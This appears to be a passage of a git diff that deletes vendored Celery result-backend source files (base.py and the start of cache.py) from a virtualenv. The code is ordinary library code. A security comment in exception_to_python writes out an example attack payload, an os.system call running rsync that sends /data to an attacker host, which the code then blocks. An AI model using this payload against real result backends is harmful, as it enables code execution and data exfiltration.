context for error callbacks. - - This helper reduces code duplication when creating fake request contexts - for error callback handling. - """ - return Context({ - "id": task_id, - "errbacks": errbacks or [], - "delivery_info": dict(), - "task": task_name, - **extra - }) - - -class _nulldict(dict): - def ignore(self, *a, **kw): - pass - - __setitem__ = update = setdefault = ignore - - -def _is_request_ignore_result(request): - if request is None: - return False - return request.ignore_result - - -class Backend: - READY_STATES = states.READY_STATES - UNREADY_STATES = states.UNREADY_STATES - EXCEPTION_STATES = states.EXCEPTION_STATES - - TimeoutError = TimeoutError - - #: Time to sleep between polling each individual item - #: in `ResultSet.iterate`. as opposed to the `interval` - #: argument which is for each pass. - subpolling_interval = None - - #: If true the backend must implement :meth:`get_many`. - supports_native_join = False - - #: If true the backend must automatically expire results. - #: The daily backend_cleanup periodic task won't be triggered - #: in this case. - supports_autoexpire = False - - #: Set to true if the backend is persistent by default. - persistent = True - - retry_policy = { - 'max_retries': 20, - 'interval_start': 0, - 'interval_step': 1, - 'interval_max': 1, - } - - def __init__(self, app, - serializer=None, max_cached_results=None, accept=None, - expires=None, expires_type=None, url=None, **kwargs): - self.app = app - conf = self.app.conf - self.serializer = serializer or conf.result_serializer - (self.content_type, - self.content_encoding, - self.encoder) = serializer_registry._encoders[self.serializer] - cmax = max_cached_results or conf.result_cache_max - self._cache = _nulldict() if cmax == -1 else LRUCache(limit=cmax) - - self.expires = self.prepare_expires(expires, expires_type) - - # precedence: accept, conf.result_accept_content, conf.accept_content - self.accept = conf.result_accept_content if accept is None else accept - self.accept = conf.accept_content if self.accept is None else self.accept - self.accept = prepare_accept_content(self.accept) - - self.always_retry = conf.get('result_backend_always_retry', False) - self.max_sleep_between_retries_ms = conf.get('result_backend_max_sleep_between_retries_ms', 10000) - self.base_sleep_between_retries_ms = conf.get('result_backend_base_sleep_between_retries_ms', 10) - self.max_retries = conf.get('result_backend_max_retries', float("inf")) - self.thread_safe = conf.get('result_backend_thread_safe', False) - - self._pending_results = pending_results_t({}, WeakValueDictionary()) - self._pending_messages = BufferMap(MESSAGE_BUFFER_MAX) - self.url = url - - def as_uri(self, include_password=False): - """Return the backend as an URI, sanitizing the password or not.""" - # when using maybe_sanitize_url(), "/" is added - # we're stripping it for consistency - if include_password: - return self.url - url = maybe_sanitize_url(self.url or '') - return url[:-1] if url.endswith(':///') else url - - def mark_as_started(self, task_id, **meta): - """Mark a task as started.""" - return self.store_result(task_id, meta, states.STARTED) - - def mark_as_done(self, task_id, result, - request=None, store_result=True, state=states.SUCCESS): - """Mark task as successfully executed.""" - if (store_result and not _is_request_ignore_result(request)): - self.store_result(task_id, result, state, request=request) - if request and request.chord: - self.on_chord_part_return(request, state, result) - - def mark_as_failure(self, task_id, exc, - traceback=None, request=None, - store_result=True, call_errbacks=True, - state=states.FAILURE): - """Mark task as executed with failure.""" - if store_result: - self.store_result(task_id, exc, state, - traceback=traceback, request=request) - if request: - # This task may be part of a chord - if request.chord: - self.on_chord_part_return(request, state, exc) - # It might also have chained tasks which need to be propagated to, - # this is most likely to be exclusive with being a direct part of a - # chord but we'll handle both cases separately. - # - # The `chain_data` try block here is a bit tortured since we might - # have non-iterable objects here in tests and it's easier this way. - try: - chain_data = iter(request.chain) - except (AttributeError, TypeError): - chain_data = tuple() - for chain_elem in chain_data: - # Reconstruct a `Context` object for the chained task which has - # enough information to for backends to work with - chain_elem_ctx = Context(chain_elem) - chain_elem_ctx.update(chain_elem_ctx.options) - chain_elem_ctx.id = chain_elem_ctx.options.get('task_id') - chain_elem_ctx.group = chain_elem_ctx.options.get('group_id') - # If the state should be propagated, we'll do so for all - # elements of the chain. This is only truly important so - # that the last chain element which controls completion of - # the chain itself is marked as completed to avoid stalls. - # - # Some chained elements may be complex signatures and have no - # task ID of their own, so we skip them hoping that not - # descending through them is OK. If the last chain element is - # complex, we assume it must have been uplifted to a chord by - # the canvas code and therefore the condition below will ensure - # that we mark something as being complete as avoid stalling. - if ( - store_result and state in states.PROPAGATE_STATES and - chain_elem_ctx.task_id is not None - ): - self.store_result( - chain_elem_ctx.task_id, exc, state, - traceback=traceback, request=chain_elem_ctx, - ) - # If the chain element is a member of a chord, we also need - # to call `on_chord_part_return()` as well to avoid stalls. - if 'chord' in chain_elem_ctx.options: - self.on_chord_part_return(chain_elem_ctx, state, exc) - # And finally we'll fire any errbacks - if call_errbacks and request.errbacks: - self._call_task_errbacks(request, exc, traceback) - - def _call_task_errbacks(self, request, exc, traceback): - old_signature = [] - for errback in request.errbacks: - errback = self.app.signature(errback) - if not errback._app: - # Ensure all signatures have an application - errback._app = self.app - try: - if ( - # Celery tasks type created with the @task decorator have - # the __header__ property, but Celery task created from - # Task class do not have this property. - # That's why we have to check if this property exists - # before checking is it partial function. - hasattr(errback.type, '__header__') and - - # workaround to support tasks with bind=True executed as - # link errors. Otherwise, retries can't be used - not isinstance(errback.type.__header__, partial) and - arity_greater(errback.type.__header__, 1) - ): - errback(request, exc, traceback) - else: - old_signature.append(errback) - except NotRegistered: - # Task may not be present in this worker. - # We simply send it forward for another worker to consume. - # If the task is not registered there, the worker will raise - # NotRegistered. - old_signature.append(errback) - - if old_signature: - # Previously errback was called as a task so we still - # need to do so if the errback only takes a single task_id arg. - task_id = request.id - root_id = request.root_id or task_id - g = group(old_signature, app=self.app) - if self.app.conf.task_always_eager or request.delivery_info.get('is_eager', False): - g.apply( - (task_id,), parent_id=task_id, root_id=root_id - ) - else: - g.apply_async( - (task_id,), parent_id=task_id, root_id=root_id - ) - - def mark_as_revoked(self, task_id, reason='', - request=None, store_result=True, state=states.REVOKED): - exc = TaskRevokedError(reason) - if store_result: - self.store_result(task_id, exc, state, - traceback=None, request=request) - if request and request.chord: - self.on_chord_part_return(request, state, exc) - - def mark_as_retry(self, task_id, exc, traceback=None, - request=None, store_result=True, state=states.RETRY): - """Mark task as being retries. - - Note: - Stores the current exception (if any). - """ - return self.store_result(task_id, exc, state, - traceback=traceback, request=request) - - def chord_error_from_stack(self, callback, exc=None): - app = self.app - - try: - backend = app._tasks[callback.task].backend - except KeyError: - backend = self - - # Handle group callbacks specially to prevent hanging body tasks - if isinstance(callback, group): - return self._handle_group_chord_error(group_callback=callback, backend=backend, exc=exc) - # We have to make a fake request since either the callback failed or - # we're pretending it did since we don't have information about the - # chord part(s) which failed. This request is constructed as a best - # effort for new style errbacks and may be slightly misleading about - # what really went wrong, but at least we call them! - fake_request = _create_fake_task_request( - task_id=callback.options.get("task_id"), - errbacks=callback.options.get("link_error", []), - **callback - ) - try: - self._call_task_errbacks(fake_request, exc, None) - except Exception as eb_exc: # pylint: disable=broad-except - return backend.fail_from_current_stack(callback.id, exc=eb_exc) - else: - return backend.fail_from_current_stack(callback.id, exc=exc) - - def _handle_group_chord_error(self, group_callback, backend, exc=None): - """Handle chord errors when the callback is a group. - - When a chord header fails and the body is a group, we need to: - 1. Revoke all pending tasks in the group body - 2. Mark them as failed with the chord error - 3. Call error callbacks for each task - - This prevents the group body tasks from hanging indefinitely (#8786) - """ - - # Extract original exception from ChordError if available - if isinstance(exc, ChordError) and hasattr(exc, '__cause__') and exc.__cause__: - original_exc = exc.__cause__ - else: - original_exc = exc - - try: - # Freeze the group to get the actual GroupResult with task IDs - frozen_group = group_callback.freeze() - - if isinstance(frozen_group, GroupResult): - # revoke all tasks in the group to prevent execution - frozen_group.revoke() - - # Handle each task in the group individually - for result in frozen_group.results: - try: - # Create fake request for error callbacks - fake_request = _create_fake_task_request( - task_id=result.id, - errbacks=group_callback.options.get("link_error", []), - task_name=getattr(result, 'task', 'unknown') - ) - - # Call error callbacks for this task with original exception - try: - backend._call_task_errbacks(fake_request, original_exc, None) - except Exception: # pylint: disable=broad-except - # continue on exception to be sure to iter to all the group tasks - pass - - # Mark the individual task as failed with original exception - backend.fail_from_current_stack(result.id, exc=original_exc) - - except Exception as task_exc: # pylint: disable=broad-except - # Log error but continue with other tasks - logger.exception( - 'Failed to handle chord error for task %s: %r', - getattr(result, 'id', 'unknown'), task_exc - ) - - # Also mark the group itself as failed if it has an ID - frozen_group_id = getattr(frozen_group, 'id', None) - if frozen_group_id: - backend.mark_as_failure(frozen_group_id, original_exc) - - return None - - except Exception as cleanup_exc: # pylint: disable=broad-except - # Log the error and fall back to single task handling - logger.exception( - 'Failed to handle group chord error, falling back to single task handling: %r', - cleanup_exc - ) - # Fallback to original error handling - return backend.fail_from_current_stack(group_callback.id, exc=exc) - - def fail_from_current_stack(self, task_id, exc=None): - type_, real_exc, tb = sys.exc_info() - try: - exc = real_exc if exc is None else exc - exception_info = ExceptionInfo((type_, exc, tb)) - self.mark_as_failure(task_id, exc, exception_info.traceback) - return exception_info - finally: - while tb is not None: - try: - tb.tb_frame.clear() - tb.tb_frame.f_locals - except RuntimeError: - # Ignore the exception raised if the frame is still executing. - pass - tb = tb.tb_next - - del tb - - def prepare_exception(self, exc, serializer=None): - """Prepare exception for serialization.""" - serializer = self.serializer if serializer is None else serializer - if serializer in EXCEPTION_ABLE_CODECS: - return get_pickleable_exception(exc) - exctype = type(exc) - return {'exc_type': getattr(exctype, '__qualname__', exctype.__name__), - 'exc_message': ensure_serializable(exc.args, self.encode), - 'exc_module': exctype.__module__} - - def exception_to_python(self, exc): - """Convert serialized exception to Python exception.""" - if not exc: - return None - elif isinstance(exc, BaseException): - if self.serializer in EXCEPTION_ABLE_CODECS: - exc = get_pickled_exception(exc) - return exc - elif not isinstance(exc, dict): - try: - exc = dict(exc) - except TypeError as e: - raise TypeError(f"If the stored exception isn't an " - f"instance of " - f"BaseException, it must be a dictionary.\n" - f"Instead got: {exc}") from e - - exc_module = exc.get('exc_module') - try: - exc_type = exc['exc_type'] - except KeyError as e: - raise ValueError("Exception information must include " - "the exception type") from e - if exc_module is None: - cls = create_exception_cls( - exc_type, __name__) - else: - try: - # Load module and find exception class in that - cls = sys.modules[exc_module] - # The type can contain qualified name with parent classes - for name in exc_type.split('.'): - cls = getattr(cls, name) - except (KeyError, AttributeError): - cls = create_exception_cls(exc_type, - celery.exceptions.__name__) - exc_msg = exc.get('exc_message', '') - - # If the recreated exception type isn't indeed an exception, - # this is a security issue. Without the condition below, an attacker - # could exploit a stored command vulnerability to execute arbitrary - # python code such as: - # os.system("rsync /data attacker@192.168.56.100:~/data") - # The attacker sets the task's result to a failure in the result - # backend with the os as the module, the system function as the - # exception type and the payload - # rsync /data attacker@192.168.56.100:~/data - # as the exception arguments like so: - # { - # "exc_module": "os", - # "exc_type": "system", - # "exc_message": "rsync /data attacker@192.168.56.100:~/data" - # } - if not isinstance(cls, type) or not issubclass(cls, BaseException): - fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}' - raise SecurityError( - f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}") - - # XXX: Without verifying `cls` is actually an exception class, - # an attacker could execute arbitrary python code. - # cls could be anything, even eval(). - try: - if isinstance(exc_msg, (tuple, list)): - exc = cls(*exc_msg) - else: - exc = cls(exc_msg) - except Exception as err: # noqa - exc = Exception(f'{cls}({exc_msg})') - - return exc - - def prepare_value(self, result): - """Prepare value for storage.""" - if self.serializer != 'pickle' and isinstance(result, ResultBase): - return result.as_tuple() - return result - - def encode(self, data): - _, _, payload = self._encode(data) - return payload - - def _encode(self, data): - return dumps(data, serializer=self.serializer) - - def meta_from_decoded(self, meta): - if meta['status'] in self.EXCEPTION_STATES: - meta['result'] = self.exception_to_python(meta['result']) - return meta - - def decode_result(self, payload): - return self.meta_from_decoded(self.decode(payload)) - - def decode(self, payload): - if payload is None: - return payload - payload = payload or str(payload) - return loads(payload, - content_type=self.content_type, - content_encoding=self.content_encoding, - accept=self.accept) - - def prepare_expires(self, value, type=None): - if value is None: - value = self.app.conf.result_expires - if isinstance(value, timedelta): - value = value.total_seconds() - if value is not None and type: - return type(value) - return value - - def prepare_persistent(self, enabled=None): - if enabled is not None: - return enabled - persistent = self.app.conf.result_persistent - return self.persistent if persistent is None else persistent - - def encode_result(self, result, state): - if state in self.EXCEPTION_STATES and isinstance(result, Exception): - return self.prepare_exception(result) - return self.prepare_value(result) - - def is_cached(self, task_id): - return task_id in self._cache - - def _get_result_meta(self, result, - state, traceback, request, format_date=True, - encode=False): - if state in self.READY_STATES: - date_done = self.app.now() - if format_date: - date_done = date_done.isoformat() - else: - date_done = None - - meta = { - 'status': state, - 'result': result, - 'traceback': traceback, - 'children': self.current_task_children(request), - 'date_done': date_done, - } - - if request and getattr(request, 'group', None): - meta['group_id'] = request.group - if request and getattr(request, 'parent_id', None): - meta['parent_id'] = request.parent_id - - if self.app.conf.find_value_for_key('extended', 'result'): - if request: - request_meta = { - 'name': getattr(request, 'task', None), - 'args': getattr(request, 'args', None), - 'kwargs': getattr(request, 'kwargs', None), - 'worker': getattr(request, 'hostname', None), - 'retries': getattr(request, 'retries', None), - 'queue': request.delivery_info.get('routing_key') - if hasattr(request, 'delivery_info') and - request.delivery_info else None, - } - if getattr(request, 'stamps', None): - request_meta['stamped_headers'] = request.stamped_headers - request_meta.update(request.stamps) - - if encode: - # args and kwargs need to be encoded properly before saving - encode_needed_fields = {"args", "kwargs"} - for field in encode_needed_fields: - value = request_meta[field] - encoded_value = self.encode(value) - request_meta[field] = ensure_bytes(encoded_value) - - meta.update(request_meta) - - return meta - - def _sleep(self, amount): - time.sleep(amount) - - def store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - """Update task state and result. - - if always_retry_backend_operation is activated, in the event of a recoverable exception, - then retry operation with an exponential backoff until a limit has been reached. - """ - result = self.encode_result(result, state) - - retries = 0 - - while True: - try: - self._store_result(task_id, result, state, traceback, - request=request, **kwargs) - return result - except Exception as exc: - if self.always_retry and self.exception_safe_to_retry(exc): - if retries < self.max_retries: - retries += 1 - try: - self.on_backend_retryable_error(exc) - except Exception: - logger.exception( - "on_backend_retryable_error hook failed; continuing retry loop", - ) - - # get_exponential_backoff_interval computes integers - # and time.sleep accept floats for sub second sleep - sleep_amount = get_exponential_backoff_interval( - self.base_sleep_between_retries_ms, retries, - self.max_sleep_between_retries_ms, True) / 1000 - self._sleep(sleep_amount) - else: - raise_with_context( - BackendStoreError("failed to store result on the backend", task_id=task_id, state=state), - ) - else: - raise - - def forget(self, task_id): - self._cache.pop(task_id, None) - self._forget(task_id) - - def _forget(self, task_id): - raise NotImplementedError('backend does not implement forget.') - - def get_state(self, task_id): - """Get the state of a task.""" - return self.get_task_meta(task_id)['status'] - - get_status = get_state # XXX compat - - def get_traceback(self, task_id): - """Get the traceback for a failed task.""" - return self.get_task_meta(task_id).get('traceback') - - def get_result(self, task_id): - """Get the result of a task.""" - return self.get_task_meta(task_id).get('result') - - def get_children(self, task_id): - """Get the list of subtasks sent by a task.""" - try: - return self.get_task_meta(task_id)['children'] - except KeyError: - pass - - def _ensure_not_eager(self): - if self.app.conf.task_always_eager and not self.app.conf.task_store_eager_result: - warnings.warn( - "Results are not stored in backend and should not be retrieved when " - "task_always_eager is enabled, unless task_store_eager_result is enabled.", - RuntimeWarning - ) - - def exception_safe_to_retry(self, exc): - """Check if an exception is safe to retry. - - Backends have to overload this method with correct predicates dealing with their exceptions. - - By default no exception is safe to retry, it's up to backend implementation - to define which exceptions are safe. - """ - return False - - def on_backend_retryable_error(self, exc): - """Hook called before retrying a recoverable backend exception.""" - return None - - def get_task_meta(self, task_id, cache=True): - """Get task meta from backend. - - if always_retry_backend_operation is activated, in the event of a recoverable exception, - then retry operation with an exponential backoff until a limit has been reached. - """ - self._ensure_not_eager() - if cache: - try: - return self._cache[task_id] - except KeyError: - pass - retries = 0 - while True: - try: - meta = self._get_task_meta_for(task_id) - break - except Exception as exc: - if self.always_retry and self.exception_safe_to_retry(exc): - if retries < self.max_retries: - retries += 1 - try: - self.on_backend_retryable_error(exc) - except Exception: - logger.exception( - "on_backend_retryable_error hook failed; continuing retry loop", - ) - - # get_exponential_backoff_interval computes integers - # and time.sleep accept floats for sub second sleep - sleep_amount = get_exponential_backoff_interval( - self.base_sleep_between_retries_ms, retries, - self.max_sleep_between_retries_ms, True) / 1000 - self._sleep(sleep_amount) - else: - raise_with_context( - BackendGetMetaError("failed to get meta", task_id=task_id), - ) - else: - raise - - if cache and meta.get('status') == states.SUCCESS: - self._cache[task_id] = meta - return meta - - def reload_task_result(self, task_id): - """Reload task result, even if it has been previously fetched.""" - self._cache[task_id] = self.get_task_meta(task_id, cache=False) - - def reload_group_result(self, group_id): - """Reload group result, even if it has been previously fetched.""" - self._cache[group_id] = self.get_group_meta(group_id, cache=False) - - def get_group_meta(self, group_id, cache=True): - self._ensure_not_eager() - if cache: - try: - return self._cache[group_id] - except KeyError: - pass - - meta = self._restore_group(group_id) - if cache and meta is not None: - self._cache[group_id] = meta - return meta - - def restore_group(self, group_id, cache=True): - """Get the result for a group.""" - meta = self.get_group_meta(group_id, cache=cache) - if meta: - return meta['result'] - - def save_group(self, group_id, result): - """Store the result of an executed group.""" - return self._save_group(group_id, result) - - def delete_group(self, group_id): - self._cache.pop(group_id, None) - return self._delete_group(group_id) - - def cleanup(self): - """Backend cleanup.""" - - def process_cleanup(self): - """Cleanup actions to do at the end of a task worker process.""" - - def on_task_call(self, producer, task_id): - return {} - - def add_to_chord(self, chord_id, result): - raise NotImplementedError('Backend does not support add_to_chord') - - def on_chord_part_return(self, request, state, result, **kwargs): - pass - - def set_chord_size(self, group_id, chord_size): - pass - - def fallback_chord_unlock(self, header_result, body, countdown=1, - **kwargs): - kwargs['result'] = [r.as_tuple() for r in header_result] - try: - body_type = getattr(body, 'type', None) - except NotRegistered: - body_type = None - - queue = body.options.get('queue', getattr(body_type, 'queue', None)) - - if queue is None: - # fallback to default routing if queue name was not - # explicitly passed to body callback - queue = self.app.amqp.router.route(kwargs, body.name)['queue'].name - - priority = body.options.get('priority', getattr(body_type, 'priority', 0)) - self.app.tasks['celery.chord_unlock'].apply_async( - (header_result.id, body,), kwargs, - countdown=countdown, - queue=queue, - priority=priority, - ) - - def ensure_chords_allowed(self): - pass - - def apply_chord(self, header_result_args, body, **kwargs): - self.ensure_chords_allowed() - header_result = self.app.GroupResult(*header_result_args) - self.fallback_chord_unlock(header_result, body, **kwargs) - - def current_task_children(self, request=None): - request = request or getattr(get_current_task(), 'request', None) - if request: - return [r.as_tuple() for r in getattr(request, 'children', [])] - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return (unpickle_backend, (self.__class__, args, kwargs)) - - -class SyncBackendMixin: - def iter_native(self, result, timeout=None, interval=0.5, no_ack=True, - on_message=None, on_interval=None): - self._ensure_not_eager() - results = result.results - if not results: - return - - task_ids = set() - for result in results: - if isinstance(result, ResultSet): - yield result.id, result.results - else: - task_ids.add(result.id) - - yield from self.get_many( - task_ids, - timeout=timeout, interval=interval, no_ack=no_ack, - on_message=on_message, on_interval=on_interval, - ) - - def wait_for_pending(self, result, timeout=None, interval=0.5, - no_ack=True, on_message=None, on_interval=None, - callback=None, propagate=True): - self._ensure_not_eager() - if on_message is not None: - raise ImproperlyConfigured( - 'Backend does not support on_message callback') - - meta = self.wait_for( - result.id, timeout=timeout, - interval=interval, - on_interval=on_interval, - no_ack=no_ack, - ) - if meta: - result._maybe_set_cache(meta) - return result.maybe_throw(propagate=propagate, callback=callback) - - def wait_for(self, task_id, - timeout=None, interval=0.5, no_ack=True, on_interval=None): - """Wait for task and return its result. - - If the task raises an exception, this exception - will be re-raised by :func:`wait_for`. - - Raises: - celery.exceptions.TimeoutError: - If `timeout` is not :const:`None`, and the operation - takes longer than `timeout` seconds. - """ - self._ensure_not_eager() - - time_elapsed = 0.0 - - while 1: - meta = self.get_task_meta(task_id) - if meta['status'] in states.READY_STATES: - return meta - if on_interval: - on_interval() - # avoid hammering the CPU checking status. - time.sleep(interval) - time_elapsed += interval - if timeout and time_elapsed >= timeout: - raise TimeoutError('The operation timed out.') - - def add_pending_result(self, result, weak=False): - return result - - def remove_pending_result(self, result): - return result - - @property - def is_async(self): - return False - - -class BaseBackend(Backend, SyncBackendMixin): - """Base (synchronous) result backend.""" - - -BaseDictBackend = BaseBackend # XXX compat - - -class BaseKeyValueStoreBackend(Backend): - key_t = ensure_bytes - task_keyprefix = 'celery-task-meta-' - group_keyprefix = 'celery-taskset-meta-' - chord_keyprefix = 'chord-unlock-' - implements_incr = False - - def __init__(self, *args, **kwargs): - if hasattr(self.key_t, '__func__'): # pragma: no cover - self.key_t = self.key_t.__func__ # remove binding - super().__init__(*args, **kwargs) - self._add_global_keyprefix() - self._encode_prefixes() - if self.implements_incr: - self.apply_chord = self._apply_chord_incr - - def _add_global_keyprefix(self): - """ - This method prepends the global keyprefix to the existing keyprefixes. - - This method checks if a global keyprefix is configured in `result_backend_transport_options` using the - `global_keyprefix` key. If so, then it is prepended to the task, group and chord key prefixes. - """ - global_keyprefix = self.app.conf.get('result_backend_transport_options', {}).get("global_keyprefix", None) - if global_keyprefix: - if global_keyprefix[-1] not in ':_-.': - global_keyprefix += '_' - self.task_keyprefix = f"{global_keyprefix}{self.task_keyprefix}" - self.group_keyprefix = f"{global_keyprefix}{self.group_keyprefix}" - self.chord_keyprefix = f"{global_keyprefix}{self.chord_keyprefix}" - - def _encode_prefixes(self): - self.task_keyprefix = self.key_t(self.task_keyprefix) - self.group_keyprefix = self.key_t(self.group_keyprefix) - self.chord_keyprefix = self.key_t(self.chord_keyprefix) - - def get(self, key): - raise NotImplementedError('Must implement the get method.') - - def mget(self, keys): - raise NotImplementedError('Does not support get_many') - - def _set_with_state(self, key, value, state): - return self.set(key, value) - - def set(self, key, value): - raise NotImplementedError('Must implement the set method.') - - def delete(self, key): - raise NotImplementedError('Must implement the delete method') - - def incr(self, key): - raise NotImplementedError('Does not implement incr') - - def expire(self, key, value): - pass - - def get_key_for_task(self, task_id, key=''): - """Get the cache key for a task by id.""" - if not task_id: - raise ValueError(f'task_id must not be empty. Got {task_id} instead.') - return self._get_key_for(self.task_keyprefix, task_id, key) - - def get_key_for_group(self, group_id, key=''): - """Get the cache key for a group by id.""" - if not group_id: - raise ValueError(f'group_id must not be empty. Got {group_id} instead.') - return self._get_key_for(self.group_keyprefix, group_id, key) - - def get_key_for_chord(self, group_id, key=''): - """Get the cache key for the chord waiting on group with given id.""" - if not group_id: - raise ValueError(f'group_id must not be empty. Got {group_id} instead.') - return self._get_key_for(self.chord_keyprefix, group_id, key) - - def _get_key_for(self, prefix, id, key=''): - key_t = self.key_t - - return key_t('').join([ - prefix, key_t(id), key_t(key), - ]) - - def _strip_prefix(self, key): - """Take bytes: emit string.""" - key = self.key_t(key) - for prefix in self.task_keyprefix, self.group_keyprefix: - if key.startswith(prefix): - return bytes_to_str(key[len(prefix):]) - return bytes_to_str(key) - - def _filter_ready(self, values, READY_STATES=states.READY_STATES): - for k, value in values: - if value is not None: - value = self.decode_result(value) - if value['status'] in READY_STATES: - yield k, value - - def _mget_to_results(self, values, keys, READY_STATES=states.READY_STATES): - if hasattr(values, 'items'): - # client returns dict so mapping preserved. - return { - self._strip_prefix(k): v - for k, v in self._filter_ready(values.items(), READY_STATES) - } - else: - # client returns list so need to recreate mapping. - return { - bytes_to_str(keys[i]): v - for i, v in self._filter_ready(enumerate(values), READY_STATES) - } - - def get_many(self, task_ids, timeout=None, interval=0.5, no_ack=True, - on_message=None, on_interval=None, max_iterations=None, - READY_STATES=states.READY_STATES): - interval = 0.5 if interval is None else interval - ids = task_ids if isinstance(task_ids, set) else set(task_ids) - cached_ids = set() - cache = self._cache - for task_id in ids: - try: - cached = cache[task_id] - except KeyError: - pass - else: - if cached['status'] in READY_STATES: - yield bytes_to_str(task_id), cached - cached_ids.add(task_id) - - ids.difference_update(cached_ids) - iterations = 0 - while ids: - keys = list(ids) - r = self._mget_to_results(self.mget([self.get_key_for_task(k) - for k in keys]), keys, READY_STATES) - cache.update(r) - ids.difference_update({bytes_to_str(v) for v in r}) - for key, value in r.items(): - if on_message is not None: - on_message(value) - yield bytes_to_str(key), value - if timeout and iterations * interval >= timeout: - raise TimeoutError(f'Operation timed out ({timeout})') - if on_interval: - on_interval() - time.sleep(interval) # don't busy loop. - iterations += 1 - if max_iterations and iterations >= max_iterations: - break - - def _forget(self, task_id): - self.delete(self.get_key_for_task(task_id)) - - def _store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - meta = self._get_result_meta(result=result, state=state, - traceback=traceback, request=request) - meta['task_id'] = bytes_to_str(task_id) - - # Retrieve metadata from the backend, if the status - # is a success then we ignore any following update to the state. - # This solves a task deduplication issue because of network - # partitioning or lost workers. This issue involved a race condition - # making a lost task overwrite the last successful result in the - # result backend. - current_meta = self._get_task_meta_for(task_id) - - if current_meta['status'] == states.SUCCESS: - return result - - try: - self._set_with_state(self.get_key_for_task(task_id), self.encode(meta), state) - except BackendStoreError as ex: - raise BackendStoreError(str(ex), state=state, task_id=task_id) from ex - - return result - - def _save_group(self, group_id, result): - self._set_with_state(self.get_key_for_group(group_id), - self.encode({'result': result.as_tuple()}), states.SUCCESS) - return result - - def _delete_group(self, group_id): - self.delete(self.get_key_for_group(group_id)) - - def _get_task_meta_for(self, task_id): - """Get task meta-data for a task by id.""" - meta = self.get(self.get_key_for_task(task_id)) - if not meta: - return {'status': states.PENDING, 'result': None} - return self.decode_result(meta) - - def _restore_group(self, group_id): - """Get task meta-data for a task by id.""" - meta = self.get(self.get_key_for_group(group_id)) - # previously this was always pickled, but later this - # was extended to support other serializers, so the - # structure is kind of weird. - if meta: - meta = self.decode(meta) - result = meta['result'] - meta['result'] = result_from_tuple(result, self.app) - return meta - - def _apply_chord_incr(self, header_result_args, body, **kwargs): - self.ensure_chords_allowed() - header_result = self.app.GroupResult(*header_result_args) - header_result.save(backend=self) - - def on_chord_part_return(self, request, state, result, **kwargs): - if not self.implements_incr: - return - app = self.app - gid = request.group - if not gid: - return - key = self.get_key_for_chord(gid) - try: - deps = GroupResult.restore(gid, backend=self) - except Exception as exc: # pylint: disable=broad-except - callback = maybe_signature(request.chord, app=app) - logger.exception('Chord %r raised: %r', gid, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'Cannot restore group: {exc!r}'), - ) - if deps is None: - try: - raise ValueError(gid) - except ValueError as exc: - callback = maybe_signature(request.chord, app=app) - logger.exception('Chord callback %r raised: %r', gid, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'GroupResult {gid} no longer exists'), - ) - val = self.incr(key) - # Set the chord size to the value defined in the request, or fall back - # to the number of dependencies we can see from the restored result - size = request.chord.get("chord_size") - if size is None: - size = len(deps) - if val > size: # pragma: no cover - logger.warning('Chord counter incremented too many times for %r', - gid) - elif val == size: - callback = maybe_signature(request.chord, app=app) - j = deps.join_native if deps.supports_native_join else deps.join - try: - with allow_join_result(): - ret = j( - timeout=app.conf.result_chord_join_timeout, - propagate=True) - except Exception as exc: # pylint: disable=broad-except - try: - culprit = next(deps._failed_join_report()) - reason = 'Dependency {0.id} raised {1!r}'.format( - culprit, exc, - ) - except StopIteration: - reason = repr(exc) - logger.exception('Chord %r raised: %r', gid, reason) - chord_error = _create_chord_error_with_cause(message=reason, original_exc=exc) - self.chord_error_from_stack(callback=callback, exc=chord_error) - else: - try: - callback.delay(ret) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', gid, exc) - chord_error = _create_chord_error_with_cause( - message=f'Callback error: {exc!r}', original_exc=exc - ) - self.chord_error_from_stack(callback=callback, exc=chord_error) - finally: - deps.delete() - self.delete(key) - else: - self.expire(key, self.expires) - - -class KeyValueStoreBackend(BaseKeyValueStoreBackend, SyncBackendMixin): - """Result backend base class for key/value stores.""" - - -class DisabledBackend(BaseBackend): - """Dummy result backend.""" - - _cache = {} # need this attribute to reset cache in tests. - - def store_result(self, *args, **kwargs): - pass - - def ensure_chords_allowed(self): - raise NotImplementedError(E_CHORD_NO_BACKEND.strip()) - - def _is_disabled(self, *args, **kwargs): - raise NotImplementedError(E_NO_BACKEND.strip()) - - def as_uri(self, *args, **kwargs): - return 'disabled://' - - get_state = get_status = get_result = get_traceback = _is_disabled - get_task_meta_for = wait_for = get_many = _is_disabled diff --git a/venv/Lib/site-packages/celery/backends/cache.py b/venv/Lib/site-packages/celery/backends/cache.py deleted file mode 100644 index ad79383c455e1056404dba75b75b1ac842057167..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/cache.py +++ /dev/null @@ -1,163 +0,0 @@ -"""Memcached and in-memory cache result backend.""" -from kombu.utils.encoding import bytes_to_str, ensure_bytes -from kombu.utils.objects import cached_property - -from celery.exceptions import ImproperlyConfigured -from celery.utils.functional import LRUCache - -from .base import KeyValueStoreBackend - -__all__ = ('CacheBackend',) - -_imp = [None] - -REQUIRES_BACKEND = """\ -The Memcached backend requires either pylibmc or python-memcached.\ -""" - -UNKNOWN_BACKEND = """\ -The cache backend {0!r} is unknown, -Please use one of the following backends instead: {1}\ -""" - -# Global shared in-memory cache for in-memory cache client -# This is to share cache between threads -_DUMMY_CLIENT_CACHE = LRUCache(limit=5000) - - -def import_best_memcache(): - if _imp[0] is None: - is_pylibmc, memcache_key_t = False, bytes_to_str - try: - import pylibmc as memcache - is_pylibmc = True - except ImportError: - try: - import memcache - except ImportError: - raise ImproperlyConfigured(REQUIRES_BACKEND) - _imp[0] = (is_pylibmc, memcache, memcache_key_t) - return _imp[0] - - -def get_best_memcache(*args, **kwargs): - # pylint: disable=unpacking-non-sequence - # This is most definitely a sequence, but pylint thinks it's not. - is_pylibmc, memcache, key_t = import_best_memcache() - Client = _Client = memcache.Client - - if not is_pylibmc: - def Client(*args, **kwargs): # noqa: F811 - kwargs.pop('behaviors', None) - return _Client(*args, **kwargs) - - return Client, key_t - - -class DummyClient: - - def __init__(self, *args, **kwargs): - self.cache = _DUMMY_CLIENT_CACHE - - def get(self, key, *args, 